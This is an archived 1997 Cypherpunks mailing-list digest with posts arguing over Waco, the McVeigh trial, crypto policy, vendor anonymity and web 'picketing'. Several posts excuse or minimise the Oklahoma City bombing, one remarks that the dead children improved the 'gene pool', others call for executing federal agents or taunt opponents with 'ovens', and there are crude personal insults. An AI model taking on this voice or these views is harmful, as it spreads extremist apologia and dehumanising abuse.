In <199706042113.RAA15819@muesli.ai.mit.edu>, on 06/04/97 
   at 05:13 PM, Hallam-Baker <hallam@ai.mit.edu> said:

>> The Feds could have done in 1993 what they've done since (Koresh wasn't the 
>> only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE.

>yeah peacefull types whose response to a visit from the police was to lie
>in ambush and shoot at them with automatic weapons.

First off they did not lie in wait for anyone. They were in their home not
bothering anyone. You make it seem like they were in the bushes on the
side of the road and ambushed a peasefull group of BATF agents on their
way to a sunday picnic. The local police had been out to the Waco compound
several times without incedent. There was no reason to suspect that
another vist would have gone any different. Instead the BATF went in there
like an invading army with guns blazing and rightfully got their asses
handed to them.


>So are you suggesting that the police ignore the complaints of illegal
>ownership of firearms and child abuse?

Last time I looked (horror of horrors) guns are still *LEGAL* in this
country. As far as child abuse there was no evidence of this other than
the word of 1 disgruntaled former member of their group. Even if the
*local* police felt that this complaint warented investigation all that
was called for was a vist by a Human Services Case Worker not a military
invasion.

All this aside I guess you feel that the Feds should be able to wage
military campains against its citizens just on unsbstantiated rummors. Gee
where did I put that quarter? Perhaps I should call the BATF and give them
YOUR address. It would be intresting to see how much you love their
gestopo tatics when it's your house being riddled with bullets.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 5 Jun 1997 05:35:41 +0800
To: frissell@panix.com (Duncan Frissell)
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970604165830.0078e268@panix.com>
Message-ID: <199706042113.RAA15819@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



> Spoken like a man who thinks that if some Federal Government somewhere tries 
> to knock buildings down with tanks and releases massive quantities of tear
> gas 
> (admitted by the Federales), it has absolutely no responsibility whatsoever 
> for whatever follows.  It was just an innocent bystander.  All this after an 
> armed assault on a private dwelling.

Give it a rest. The people inside had already murdered several BATF
agents. They had every opportunity to release the children and allow
them to get to safety. They had every opportunity to surrender.

Since you clearly intend from your earlier posts for "whatever follows"
to mean McVeighs murder of 167 people in Oaklahoma clearly it does not.

The US police may be incompetent and corrupt but that does not excuse
the Oaklahoma bombing nor does it in any way lessen the responsibility of
McVeigh and those who encouraged him.


> I'll have to try that some time with the Jacob K. Javits Federal Office 
> building in lower Manhatten.  I know I can count on you to defend me by
> saying 
> that even though I hit the place with 20 or 30 heavily-armed troopies and
> then 
> knocked a few walls down with tanks and filled the building with tear gas, 
> nothing that happened there was my fault.

If you have a duly authorised warrant from a court, the inhabitants have
shot at people from inside the building and you give them two months to
surrender, sure go for it.

Only I think that the SAS is probably better experienced.


> The Feds could have done in 1993 what they've done since (Koresh wasn't the 
> only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE.

yeah peacefull types whose response to a visit from the police was to
lie in ambush and shoot at them with automatic weapons.

So are you suggesting that the police ignore the complaints of illegal
ownership of firearms and child abuse?


And in any case the point is that Waco does not absolve McVeigh and
the militias for the blame for Oaklahoma.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 06:53:33 +0800
To: John Young <jya@pipeline.com>
Subject: Re: The New War
In-Reply-To: <1.5.4.32.19970604215403.00963bd8@pop.pipeline.com>
Message-ID: <199706042242.RAA24008@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970604215403.00963bd8@pop.pipeline.com>, on 06/04/97 
   at 05:54 PM, John Young <jya@pipeline.com> said:

>"The New War" is Senator John Kerry's (Dem, MA)
>new book which examines global enemies of law 
>and order. He cites the use of high-tech weapons,
>off-shore banks, and the Internet, featuring encryption, 
>by rogue nations and organized criminals who are 
>hiring the best and brightest lawyers, programmers,
>cryptographers and ex-spooks who once looked to
>the USG for secure careers, and who also pay top dollar
>for premium products and skills once affordable only 
>by the military.

Well better brush off the dust on that resume. :)

If the only two choices for crypto work is Organized Crime (Mob,Drug
Dealers, Rouge Nations, ...ect) and Orginzed Crime (Feds) I'll have to go
with the the first as they pay better and on the whole tend to be less
corrupt (though morraly they are about even).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@Algebra.COM>
Date: Thu, 5 Jun 1997 06:40:27 +0800
To: cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin reques
Message-ID: <199706042229.RAA05009@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Wed Jun  4 16:52:19 1997
From: owner-cypherpunks@algebra.com
Date: Wed, 4 Jun 1997 17:52:04 -0400 (EDT)
Message-Id: <199706042152.RAA01373@www.video-collage.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-scribe\b/i at line 7  

>From cpunks  Wed Jun  4 17:51:59 1997
Received: from sirius.infonex.com (sirius.infonex.com [206.170.114.2])
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Date: Wed, 4 Jun 1997 17:42:33 -0400 (EDT)
From: Declan McCullagh <declan@pathfinder.com>
Reply-To: declan@well.com
To: cypherpunks@toad.com
Subject: Anonymity should be banned for speakers and vendors
Message-ID: <Pine.GSO.3.95.970604174023.29555R-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-cypherpunks@toad.com
Precedence: bulk

[Ray, a recent DC law school grad and anti-spam activist, is a good guy
but is IMHO sadly mistaken here. Thought this might be interesting.
--Declan]

---------- Forwarded message ----------
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
X-FC-URL: To join send "sub-scribe" to fight-censorship-request@vorlon.mit.edu
Date: Wed, 4 Jun 97 17:25:36 -0400
From: Ray Everett-Church <ray@everett.org>
Sender: owner-fight-censorship@vorlon.mit.edu
To: sameer <sameer@c2.net>, tbetz@pobox.com
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: Spam costs and questions

On 6/4/97 4:52 PM, sameer (sameer@c2.net) wrote:

>> If Wallace were up against criminal and civil penalties if he continued to 
>> hide his customers' real identities, he'd give them up in a hot second.  Of 
>> course, as soon as there was a chance of that happening, he'd get out of 
the 
>> business entirely. 
>
>	So how do criminal and civial penalties for not revealing a
>customer's name protect anonymity on the internet?
>	Anonymity on the internet must be preserved. If you could come
>up with a way to make spam illegal and preserve anonymity, I would be
>very glad. Until then, I will have to oppose making spam illegal.

As stated before, I have heard no convincing argument that it is in the 
consumers best interest to have an anonymous *vendor*. Sure it's vital 
that *consumers* be allowed to remain anonymous, but if you're selling a 
product or service, there's no legitimate reason why a business needs to 
remain anonymous given issues of warranties, product liability, sales 
taxes, etc.

And in the case above, since the remailer in question is simply acting as 
an agent for the business, there's no question of legitimate anonymity 
implicated. Indeed, perpetuating anonymity for the business often times 
facilitates activites that constitute a breach of contract and sometimes 
even fraud. The whole reason to use a pro-spam anon remailer is so that 
you can violate your ISP usage agreement without being traceable or 
accountable. And if you've entered into that contractual relationship 
with the ISP with the *intent* to breach that contract, it's fraud.

Anonymity for consumers, Yes!  Anonymity for vendors, NO!

-Ray
<everett@cauce.org>
-------------------------------------------------------------------------
 Ray Everett-Church, Esq.  <ray@everett.org>    www.everett.org/~everett
 This mail isn't legal advice.   Opinion(RE-C) != Opinion(clients(RE-C)) 
 (C)1997 Ray Everett-Church ** Help outlaw "spam"=> http://www.cauce.org 
-------------------------------------------------------------------------

----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 5 Jun 1997 08:49:34 +0800
To: "cypherpunks@toad.com>
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <19970604173133.51738@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jun 04, 1997 at 03:47:02PM -0700, Lucky Green wrote:
> On Wed, 4 Jun 1997, Chris DiBona wrote:
> > Do these children
> > who may be important to you have parents who "care" about them enough to
> > scour the planet to find a good,safe day care that isn't withing the blast 
> > radius or
> > shooting range of :
> 
> [list of public places elided]
> 
> Perhaps taking your kids to day care in a downtown area is not a very good 
> idea in the first place. But putting them into daycare inside a federal 
> building is criminally stupid.
> 
> Some on this list will even 
> say that the kids' deaths fortunately 
> reduced the negative impact their parents can have on the gene pool.

Yes, some pathetic strange little boys swaggering around in never-never 
land.  Lonely individuals with shriveled hearts, stunted morals, and 
feverish imaginations, who brag contemptuously of their superiority
over "sheeple", and boast of their heroic roles in the coming 
revolution.

And thank you, Lucky, for enlightening me -- it isn't the OKC bomber
who is the criminal, it's the people who put their children in the
daycare center!  There's only one punishment suitable for such 
"criminally stupid" behavior!  Lock and Load!

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 06:52:16 +0800
To: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Subject: Re: McVeigh
In-Reply-To: <Pine.ULT.3.95.970604154333.14912A-100000@krypton.mankato.msus.edu>
Message-ID: <199706042242.RAA24013@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.ULT.3.95.970604154333.14912A-100000@krypton.mankato.msus.edu>, on
06/04/97 
   at 03:50 PM, "Robert A. Hayden" <hayden@krypton.mankato.msus.edu> said:

>Maybe it is just me, but I think the whole McVeigh trial issues aren't
>about whether he did or didn't do it.  it's important, but my concerns
>are more about the process the government used to prove it's case.

>It's built this huge circumstantial case, sprinkled liberally with
>weeping mothers and children, added with a couple of witnesses who would
>probably say anything to avoid execution.

>None of it actually proved he DID it, just that it was possible. 

>When a person can be convicted by sympathy, twisted circumstantial
>evidence, and testimony given under threat of execution, you have to
>wonder about the _process_ in this country, and th idea of trial by an
>impartial body.

>In my gut, I think he probably did do it, but I cannot see how the
>prosecutors proved it beyond a "reasonable doubt".

>Considering the testimony that is going to be allowed for the penalty
>phase, I cannot forsee any verdict other than death.

Well you would think that with all the Talk by the Feds of how
overwhelming the evedence was against him that they might actually give
him a fair trial. I think that there is sothing about that in the
Constitution. Oh silly me I forgot they have never read it as the last
copy was used by Hoover for toilet paper 30yrs ago.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 5 Jun 1997 06:12:45 +0800
To: cypherpunks@toad.com
Subject: The New War
Message-ID: <1.5.4.32.19970604215403.00963bd8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



"The New War" is Senator John Kerry's (Dem, MA)
new book which examines global enemies of law 
and order. He cites the use of high-tech weapons,
off-shore banks, and the Internet, featuring encryption, 
by rogue nations and organized criminals who are 
hiring the best and brightest lawyers, programmers,
cryptographers and ex-spooks who once looked to
the USG for secure careers, and who also pay top dollar
for premium products and skills once affordable only 
by the military.

He wonders how governments can compete with these
new cash-flush criminals. The answer: new laws and
new global arrangements.

His view on global crypto is almost identical to that of
Senator Kerrey (Dem, KA), Professor Denning and others 
who appear to be working in concert with the administration
to advance global GAK, while admitting that some harm
to privacy may be necessary. All nations must act in
concert, Kerry says, to prevent the spread of dangerous
technology.

For a similar view, see Denning's synopsis of a paper on 
criminal use of encryption and developing technology to be 
published shortly:

   http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html

We've also heard from BXA that new regulations for the
Commerce Control List and EAR to bring them into accord
with the Wassenaar Arrangement will be out in "a month or
two." This will probably be coordinated with the issuance of
similar regulations by the 33 signators of the regime.

It might portend the imposition of a global GAK regime that 
Kerry, et al, suggest is a primary weapon in The New War.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 5 Jun 1997 10:05:12 +0800
To: Ryan Anderson <jeremey@bluemoney.com>
Subject: Re: Profanity, PCS phones, and FCC
In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com>
Message-ID: <v03102802afbbae23853f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:03 AM -0400 6/4/97, Ryan Anderson wrote:
>On Wed, 4 Jun 1997, Jeremey Barrett wrote:
>
>> Well I went and got a PCS phone (Ericsson), and was pilfering through the
>> manual, and came across this amusing text in the "Operating procedures"
>> section of the "Guidelines for Safe and Efficient Use":
>[snip]
>>    o Use of profane, indecent, or obscene language while using your
>>      phone.
>> Joy. More laws to break.
>
>I believe this has been true about your regular phone line for years as
>well.  It's unenforceable, and as a practical matter the FCC isn't going
>to care, *EVER* about it.

A 'nudda example of unenforceable laws which undermine respect for lawfull
autority by making all bruddas criminals.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 10:21:46 +0800
To: cypherpunks@Algebra.COM
Subject: Seller anonymity is also important
In-Reply-To: <199706042229.RAA05009@manifold.algebra.com>
Message-ID: <v03102804afbbd014bc29@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:00 PM -0700 6/4/97, Alan wrote:
>Quoting Ray Everett-Church:
>
>> As stated before, I have heard no convincing argument that it is in the
>> consumers best interest to have an anonymous *vendor*. Sure it's vital
>> that *consumers* be allowed to remain anonymous, but if you're selling a
>> product or service, there's no legitimate reason why a business needs to
>> remain anonymous given issues of warranties, product liability, sales
>> taxes, etc.
>
>I can think of a number of reasons why a business would want to remain
>"hidden".  Fear of retribution is the biggest.  This could be "valid"
>retribution (such as for selling shoddy products or annoying sales
>practices) or "invalid" retribution (such as selling a product that
>offends the local moral or legal establishment), but is a product that
>people desire and are willing to pay money for.
>
>But such markets are "illegal" and thus not to be thought about by good
>little citizen units.

I must've missed the original on this...haven't seen a post from Ray
Everett-Church (one of those highfalutin' hyphenated names!) in a long time.

It turns out that I had this precise discussion with Chaum just before our
panel discussion at CFP; Michael Froomkin was also there and agreed with my
points (he can clarify this if he wishes).

Namely, Chaum argue that seller anonymity was not needed, except for
illegal markets, which he claimed he would not support.

Well, I immediately pointed out, what about providers of, say, birth
control information in jurisdictions where such information is illegal?
(Not all such information is free, and any metered access system that was
not seller anonymous would be a prime candidate for stings by government
agents).

I also pointed out other markets for other kinds of information, which at
various times and places have been illegal. Sometimes retroactively so.

Chaum said he had to agree that these were good examples, and that he'd
think about the issue furhter. He speculated during his panel presentation
that possibly a mechanism could be found to allow such vendor or seller
anonymity for _educational_ and similar materials, but not for other
things...Froomkin and I were incredulous.

The fact is that seller and buyer anonymity are equally important. Every
transaction has two parts, and it is a logical fallacy to assume that only
buyers wish untraceability.

It may be true that in the _conventional model_ of retail shops selling to
walk-in customers, the ontological reality is that the shops are far from
anonymous while the customers are often anonymous, but this model is not
the only model of an agoric marketplace. Sellers of information on the Net
are quite likely to be serious customers of anonymity...look at the use of
pseudonyms in general in literature.

And so on. The archives have several threads on this subject.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 5 Jun 1997 07:48:09 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: McVeigh
In-Reply-To: <Pine.3.89.9706041627.A12832-0100000@netcom19>
Message-ID: <199706042335.TAA16934@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Since its clear that the McVeigh appologists are simply repeating
arguments from alt.conspiracy I don't think theres much point continuing
the thread.

There is absolutely nothing that anyone did that justified McVeigh's
murder of the kids in the daycare center or anyone else. Frissel, 
Gieger and co are simply trying to distract attention from that fact.

Hell, if we were to take them seriously they would have to all be FBI
agents attempting to entrap the unwary...


	Phill

PS: Could the FBI agent monitoring the list tell us where to send in
evidence in connection with the Bell case?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 10:41:53 +0800
To: cypherpunks@Algebra.COM
Subject: A Fair Trial for the Waco Raiders...is it too much to ask for?
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <v03102805afbbd31d72bc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




(I didn't start this Koresh/Waco thread...I'm just renaming it from
"McVeigh" to something more germane to the points.)

At 6:39 PM -0700 6/4/97, Jeremiah A Blatz wrote:

>The proper thing to do would be to walk up and knock on the door. The
>local sherrif suggested that percise action. However, the unassailable
>feds in their ivory towers couldn't be bothered to ask any local
>officials before the raid.

As is well known, the Sheriff also said that Koresh had been pleasant to
him on a couple of other visits (of the knock on the door type, not the
Nomex-clad ninjas sneaking up on all sides with asault rifles at the
ready). The Sheriff also said Koresh could have been picked up on any of
his trips into Waco, or on any of his morning jogs around the property and
nearby roads.

For this honesty, the Sheriff elected to resign.

Oh, and the reason the Davidians knew about the raiders planning an assault
was because some local reporters were talking about it, and someone who
overheard them called Koresh to warn him that something big was about to
happen.

You see, the media and their cameras had been called in to film this
propaganda event, this public relations shot in the arm for the beleagured
BATF.

Shot in the arm indeed. And in the head, And in the kidney. And shot by
their own side, from all indications once the "commence fire" command was
given.

I don't know whether Koresh started the fire, or the tanks started the
fire, or the tear gas grenades started the fire, or the automatic weapons
fire started the fire. What I know is that a paramilitary assault, complete
with tanks and Blackhawk choppers was launched against a private residence
for the alleged crimes of having too many weapons (in Texas? gimme a break)
and of an allegation of child abuse.

That Koresh was not picked up under the circumstances described above, and
that the media was invited in to help film the recruting film, tells us
that the affair was not about what the BATF and FBI claim it was about.

Why is it so radical to ask that a criminal trial be held for those
responsible, and all participants, and that the appropriate penalties be
meted out if any of those charged are found guilty? Texas is very liberal
with the lethal injections, so what's the big deal about having a trial and
giving the needle to a dozen or so of the BATF leaders?

I imagine that some of those brought to trial might receive lesser
sentences, maybe even no punishment at all if they could convince their
jury they were "just following orders."

I can also imagine some might receive fairly light prison terms, of a few
years or less. (Of course, some of them might then face another fate in
prison.) But the level of criminality and malfeasance show suggest to me
that at least 4 of the Waco raiders and their bosses, maybe 5, would get
the death penalty. Sounds fair to me.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 10:23:53 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706050148.UAA04173@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Wed, 04 Jun 97 10:00:46 -0500
> Subject: Re: Webpage picketing (fwd)

> I think that your analogy is slightly flawed.
> 
> While the farmers have a right to protest on the side of the road they do
> not have a right to interfere with the travelers on the road.

Correct and using my model would in no way interfere with a users use of the
network. It would not add excessive delay or other impedemants. It would be
a one time event that occured when the site was initialy accessed. Much like
having to go past the picketers on the side of the road at least once.

> There is no real way you could picket on the "Info highway" as you have no
> right to interfere with the packets traveling on the highway. You can
> stand of to the side if you want but somehow I don't think that the
> packets will be watching. :)

If it is a fully privately funded highway, I agree. If it accepts public
money I obviously disagree with you. As to the packets watching, no more so
than the cars being used are watching the picketers. This is a straw man
argument. The issue here is not the packets but the paticipants.


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 10:32:46 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706050157.UAA04256@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "Peter Trei" <trei@process.com>
> Date: Wed, 4 Jun 1997 11:33:54 -6
> Subject: Re: Webpage picketing (fwd)

> [Jim wants to be able to 'cyber-picket' - force people to read his 
>  opinions before they can browse sites he does not like. He is 
>  attempting to claim that the net backbones corrospond to public
>  spaces, where his local government permits him to picket.]

Quit taking the drugs they are affecting your attention span.
You should also quit trying to divine persons motivation, you are terrible
at it.

> 'Publically funded network backbones'? Can you name one (in the US)? 

Actualy I have already named two.

> None of which have the slightest relevance - Internet II is a 
> proposed (and still vaporware) project for an academic-research-only
> network

Actualy the Internet II documents that I have seen have specificaly
mentioned letting students at public schools use them as well as people
doing research both private and publicly funded. I understand that it should
start to take physical shape just after the turn of the century.

The High Speed Supercomputer network is also going to be available for use
within just a  couple years as well. 

 - it's future existence has no impact on those of us using
> the private backbone system of today.

You have obviously missed the entire point, today is not the issue. It is
tomorrow that we should be looking at and the clear indications that Uncle
Sam puts out about funding/supporting future expansion. The federal
government can't afford to keep its fingers out of the pie.

> Question: if you get the ability to put up your 'cyber-picket' frame,
> how about cyber-counter-pickets? Cant the picketee put a page in 
> front of yours? Who gets priority? Where does it stop? 

Yes. Yes. First come first served. When the funds run out.

> Jim, your idea is roadkill on that horribly imprecise analogy, 
> the 'information superhighway' (spit). It can't be resuscitated 
> by asking for 'information super-sidewalks' or claiming the existance 
> of 'information super-public-spaces'. The underlying metaphor is 
> fatally flawed.

In your opinion, which so far has been nothing but inuendo, ad hominim
arguments, and pure opinion. How about some reasoning to go along with 
it?


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Thu, 5 Jun 1997 12:06:20 +0800
To: Tim May <tcmay@got.net>
Subject: Re: A Fair Trial for the Waco Raiders...is it too much to ask for?
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <33963977.1E2D6DCE@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> Why is it so radical to ask that a criminal trial be held for those
> responsible, and all participants, and that the appropriate penalties
> be meted out if any of those charged are found guilty? Texas is very
> liberal with the lethal injections, so what's the big deal about
> having a trial and giving the needle to a dozen or so of the BATF
> leaders?

You're forgetting that guilt is decided by the DA when he brings the
case, not by the jury.  After all, if the accused wasn't guilty, he
wouldn't have been charged, right?

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 10:20:05 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706050209.VAA26685@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706042335.TAA16934@muesli.ai.mit.edu>, on 06/04/97 
   at 07:35 PM, Hallam-Baker <hallam@ai.mit.edu> said:



>Since its clear that the McVeigh appologists are simply repeating
>arguments from alt.conspiracy I don't think theres much point continuing
>the thread.

>There is absolutely nothing that anyone did that justified McVeigh's
>murder of the kids in the daycare center or anyone else. Frissel,  Gieger
>and co are simply trying to distract attention from that fact.

No not at all Phil, while I can't speak for anyone else on the list I
myself am try to bring to attention that no one cared about the children
at Waco that were burned alive at the hands of the BATF. The general
opinion was that those children shouldn't have been there and it was the
fault of the Branch Dividians that the BATF murdered them.

Now the same thing happens to some Federal Employes and now we hear the
cries, and wails, "oh the humanity", "the children the children".

Where was the outrage and demands for justice for the children of Waco.
They were just an "evil cult" their children deserved to burn. I have
heard this logic whispered by more than 1 Federal pig. I for one am sick
and tired of hearing these two faced bastards wine and cry when it happens
to them by cheer when it happen to someone else.

>Hell, if we were to take them seriously they would have to all be FBI
>agents attempting to entrap the unwary...

>	Phill

>PS: Could the FBI agent monitoring the list tell us where to send in
>evidence in connection with the Bell case?

Don't worry Phil they know what a good little sheep you are and are
confidant that you will do your duty when it comes time to fill the ovens.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 5 Jun 1997 11:29:40 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199706042203.PAA11358@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970604211637.71522A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> May Timothy C. Mayo's forgeries get stuck up his ass 
> so he'll have to shit through his filthy mouth for the 
> rest of its miserable life.
> 
>            o       o
>          /<         >\ Timothy C. Mayo
>          \\\_______///
>          //         \\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 12:25:37 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <199706041913.OAA20798@mailhub.amaranth.com>
Message-ID: <wTXs8D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:
> For the most part thoses labeled as "terrorist" are the one who are
> fighting against an aggressor. Most terrorist don't just wake up one
> morning and decide to start blowing things up. They only become active
> after a foreign power attacks them and they react in self defence no
> different if some one breaks into you house and you shoot them (I am sure
> that there are some liberal winnies here who think that selfdefence is
> wrong).
...

Rant: I think Joseph Stalin was a cool guy, even though he had my great-grandpa
shot (who was btw a U.S. citizen).

One of the many interesting contributions Joe Stalin made to the Marxist
theory was the observation that the class struggle intensifies as the
old mode of production becomes obsolete; and that there's really no difference
between "terrorist acts" and government-sponsored violence and economic
deprivation.  You might view the second statement as the generalization of
